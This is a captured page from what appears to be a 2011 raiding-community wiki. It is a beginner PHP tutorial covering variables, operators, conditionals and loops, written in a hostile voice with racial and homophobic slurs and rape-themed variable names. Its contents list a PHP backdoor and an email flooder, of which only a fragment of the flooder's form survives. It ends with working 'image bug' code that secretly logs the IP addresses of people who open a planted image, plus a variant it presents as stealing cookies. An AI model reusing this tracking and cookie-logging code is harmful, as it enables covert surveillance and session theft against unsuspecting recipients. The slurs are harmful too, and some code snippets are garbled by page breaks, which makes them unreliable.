PHP Tutorial - I Nsurgency W I Ki
PHP Tutorial - I Nsurgency W I Ki
http://partyvan.info/wiki/PHP_Tutorial
PHP Tutorial
PHP is a server side language, meaning you can't see the source code in your browser, because all of the stuff is done on the server. To start, get some web hosting (easy) or start your own server (not as easy), and create a .php file. Having a decent knowledge of HTML is highly recommended. If you've programmed in another web language such as ASP, or have knowledge of application languages like C++ or Java, learning PHP will be considerably easier.
Contents 1 HELLO WORLD 1.1 Hello World, Again (with HTML) 2 Variables 2.1 Constants 3 Predefined variables 3.1 Types of variables 4 Operators 4.1 Arithmetic 4.2 Assignment 4.3 Logical 4.4 Comparison 4.5 Conditional statements and loops 4.6 Conditional statements 4.7 If 4.8 Switch 5 Loops 5.1 For loops 5.2 Foreach loops 5.3 While loops 5.4 Do-while loops 5.5 Simple Backdoor in PHP 5.6 Email flooder in PHP 6 Image bugs
HELLO WORLD
Yeah... This is the ancient tradition of beginners starting out in any language. Here you go.
<?php echo "LOL HAI THER AMIDOINITRITE?"; print("DICKS"); ?>
Let's go over some rulez. (The word rules does not have a 'z' in it you miserable faggot). All PHP code starts with <?php and ends with ?>. These are called delimiters. echo is a statement that basically prints out whatever is in the double quotes. It isn't a function. (printf() is though.) Since echo is a statement, much like require/include /exit/etc, using parenthesis around the value(s) to be echoed is optional. All statements in PHP that aren't if/else statements,
4 Online
1 of 10
7/11/2011 1:18 AM
http://partyvan.info/wiki/PHP_Tutorial
This'll output LOL HAI THER AMIDOINITRITE?, and if you look at the source of the PHP page, you'll see the HTML code in there.
Variables
Now we'll learn a little about variables. PHP is great because, unlike other languages, you don't need to specify what type of variable you are declaring (integer, Boolean, float, string, etc). PHP automatically identifies the type for you. Anyway, here we go.
<?php $lolvar = 6; $loldecimal = 3.12; $lolstring = "This is a string."; echo $lolvar; echo $loldecimal; echo $lolstring; ?>
Some things to note: ALL VARIABLES START WITH THE DOLLAR SIGN ($) NO EXCEPTIONS When echoing a variable you don't need the double quotes You can also concatenate, or join together, two strings, like so:
<?php $lol = "lol"; $wut = "wut"; $randomdigit = 2; echo "Did you just use the meme " . $lol . " " . ?>
This'll just echo out the line "Did you just use the meme lol wut 2 times?".
Constants
Constants are like variables, except they do not begin with a dollar sign and cannot be changed or deleted once defined. It is usual practice to name constants in all capitals (much like macros in C/C++). You define constants with the define(); function:
<?php define("MYCONSTANT", "Constant Value"); echo MYCONSTANT; ?>
2 of 10
7/11/2011 1:18 AM
http://partyvan.info/wiki/PHP_Tutorial
Always $_, ex: $_COOKIE, $_SERVER, $_GET, $_REQUEST, and $_POST Some can only be used before any output is sent
<?php $ip = $_SERVER['REMOTE_ADDR']; $ref = $_SERVER['HTTP_REFERER']; echo $ip." Was referred by ".$ref."<br />"; $UserAgent = $_SERVER[HTTP_USER_AGENT]; $Software = $_SERVER['SERVER_SOFTWARE']; echo "Their useragent was ".$UserAgent."<br />"; echo "Your server software is ".$Software; ?>
Will output something like: 0.0.0.0 Was referred by ----- Their useragent was Mozilla/5.0 Your server software is Apache/2.2.8 (----) DAV/2 mod_ssl/2.2.8 OpenSSL/0.9.8g mod_python/3.3.1 Python/2.5.1 mod_autoindex_color PHP/5.2.5 mod_perl/2.0.3 Perl/v5.8.8
Types of variables
The datatype a variable uses is usually implicit, meaning PHP will determine what type of variable it should use based on its contents. However, these are some of the datatypes at your disposal.
Boolean ex: $a = true; #has only 2 possible values, true or false Integer ex: $b = 4; #holds whole numbers String ex: $c = "Hello"; #holds a set of letters and numbers Float ex: $d = 3.5252524; #holds numbers with decimals Array ex: $e = array(5, 3, 1); #holds a list of any other type of data, be it an integer, string, boolean, etc. Null ex: $f = NULL; #only holds null (nothing)
Operators
Arithmetic
+ * / % Addition Subtraction Multiplication Division Division with remainder
Assignment
+= ex: n+=7, or N equals N+7 -= *= /= %= .= =
Logical
4 Online
3 of 10
7/11/2011 1:18 AM
http://partyvan.info/wiki/PHP_Tutorial
&& , AND ex: if (($a>0) && ($a<10)){ || , OR ex: if (($a==0)||($a==1)){ ! , NOT ex: if ($a != 2) {
Comparison
< Less than > Greater than == Equal to != Not equal === Identical !== Not identical <= Less than or equal to >= Greater than or equal to
Conditional statements
Well, it's basically just if and switch, but the former is pretty useful. You have to know this one.
If
This essentially checks whether or not a condition is true.
<?php $willdo = true; if($willdo == true){ echo "did"; }
An else statement is an addition to an if statement which allows for another condition. If there's an else statement something happens regardless.
$wontdo = false; if($wontdo == true){ echo "did"; } else { echo "didn't"; } ?>
Else if statements allow for multiple conditions, if and only if the first condition before it was false.
$maydo = 99; $maynotdo = false; if($maynotdo == true){ echo "did"; } elseif ($maydo == 99){ echo "did anyway"; } else { echo "didn't"; } ?> 4 Online
4 of 10
7/11/2011 1:18 AM
http://partyvan.info/wiki/PHP_Tutorial
Also: 1. conditions in parentheses just have to be true. You don't have to use an == or != if it's a boolean value (true/false) 2. there are logical operators like and (&&) and or (||) 3. a ! behind it means it's false, so if $dick is true, !$dick is false, and vice versa if $dick was false.
Switch
A substitute to a whole bunch of elseifs. It tests if a given value is equal to something. Cases can be any value. There's also a default.
<?php switch ($value) { case false: echo "value is break; case 17: echo "value is break; case "pigdog": echo "value is break; case NULL: echo "value is break; default: echo "value is break; } ?>
0"; 1"; pigdog"; null"; something else other than 0, 1, pigdog, or null.";
Loops
There are three main loops: for loops, foreach loops, and while/do-while loops.
For loops
For this loop you simply declare a variable as a counter, and the loop will occur as many times as you want it until the counter reaches a certain number.
<?php $counter = 0; for($counter = 0; $counter < 6; $counter++) { echo "HAI "; } ?>
What this code does is take the variable we made, and use it as a counter. As long as the variable, $counter, is less than 6, the ++ operator will add one to the value of $counter and then the code within the curly braces {} will be executed. So the output of this code is: HAI HAI HAI HAI
4 Online
5 of 10
7/11/2011 1:18 AM
http://partyvan.info/wiki/PHP_Tutorial
HAI Some notes about this code: 1. The ++ operator adds one to a variable, and can be used on any variable. This is an example of a unary operator. You could also use -- to subtract one from the variable. 2. Notice that the for loop did NOT end in a semicolon. This is intended. Loops and conditionals don't need a semicolon. But the code inside of the curly braces DOES need the semicolons.
Foreach loops
This statement essentially sets the number of times something's done. In PHP you use it on arrays to run through every element in an array to do something or another.
<?php $lolarray = array("lol", "rofl", "lmao"); foreach($lolarray as $value){ echo $value . "</br">; } ?>
This code will output: lol rofl lmao Also: 1. you might want to unset(), or destroy the variable you use. You never know. 2. foreach($array as $key => $value) will assign $key as a key, but it's basically the same.
While loops
This is probably the simplest loop there is. As long as a condition is true, this loop will run. If the condition is false or if break is used it'll stop the loop. Be careful not to create an infinite loop or your internets will explode; also, if the conditions aren't met or defined the code inside won't run. Like this.
<?php $fuckme = false; while($fuckme){ /* or while($fuckme == true) */ echo "This loop won't run.\n"; }
This one will run too, but it'll stop after a while. (you would use a for loop in this position though) 4 Online
6 of 10
7/11/2011 1:18 AM
http://partyvan.info/wiki/PHP_Tutorial
<?php $rapeher = 0 while($rapeher <= 5){ $lolkay = 5 - $rapeher; echo "This will run for ". $lolkay ." more times after this..\n"; $rapeher++; } echo "Done."; ?>
This will produce: This will run for 5 more times. This will run for 4 more times. This will run for 3 more times. This will run for 2 more times. This will run for 1 more times. This will run for 0 more times. Done. This isn't as useful as you imagine though.
Do-while loops
This does the same thing as a while loop but it checks the condition after the action's done. If the condition's true it repeats itself, but if it's false it does it once and only once.
<?php $roofie = false; do { echo "Did it anyway, lol"; } while ($roofie); ?>
This is useful if you want the code run at least once but not necessarily further times.
7 of 10
7/11/2011 1:18 AM
http://partyvan.info/wiki/PHP_Tutorial
8 of 10
7/11/2011 1:18 AM
http://partyvan.info/wiki/PHP_Tutorial
name="spams" value="10"> Cycles (default 10):<input type="text" size="28" name="cycles" value="10"> <input type="submit" name="submit" value="Click for lulz"> </form> <?php } ?>
Image bugs
Pretty fucking simple, really. You insert the following into an e-mail or something: c Then in iplulz.php on your server (or whatever you call it), put this code: PROTIP: Make a directory on your server called niggerimage.png or any image name, then save the code as index.php in the directory.
<?PHP $the_image = "yourimagehere.jpg"; $ip_lister = fopen("ip.list", "a+"); fwrite($ip_lister, $_SERVER['REMOTE_ADDR'] . " fell for it lol\n"); fclose($ip_lister); if (!strncasecmp(substr($the_image, strlen($the_image) - 4), ".jpg")) $image_mime = "jpeg"; else $image_mime = substr($the_image, (strrpos($the_image, '.') + 1)); header("Content-Type: image/$image_mime"); echo file_get_contents($the_image); ?>
User gets the image, you get their IP added to a list. EVERYONE WINS Also, can steel cookies in dat way:
<?PHP $the_image = "yourimagehere.jpg"; $ip_lister = fopen("ip.list", "a+"); fwrite($ip_lister, $_GET['d0ngz'] . " nigger\n"); fclose($ip_lister); if (!strncasecmp(substr($the_image, strlen($the_image) - 4), ".jpg")) $image_mime = "jpeg"; else $image_mime = substr($the_image, (strrpos($the_image, '.') + 1)); header("Content-Type: image/$image_mime"); echo file_get_contents($the_image); ?>
This page has been accessed 5,327 times. Privacy policy About /i/nsurgency W/i/ki
9 of 10
7/11/2011 1:18 AM
http://partyvan.info/wiki/PHP_Tutorial
Nazis
4 Online
10 of 10
7/11/2011 1:18 AM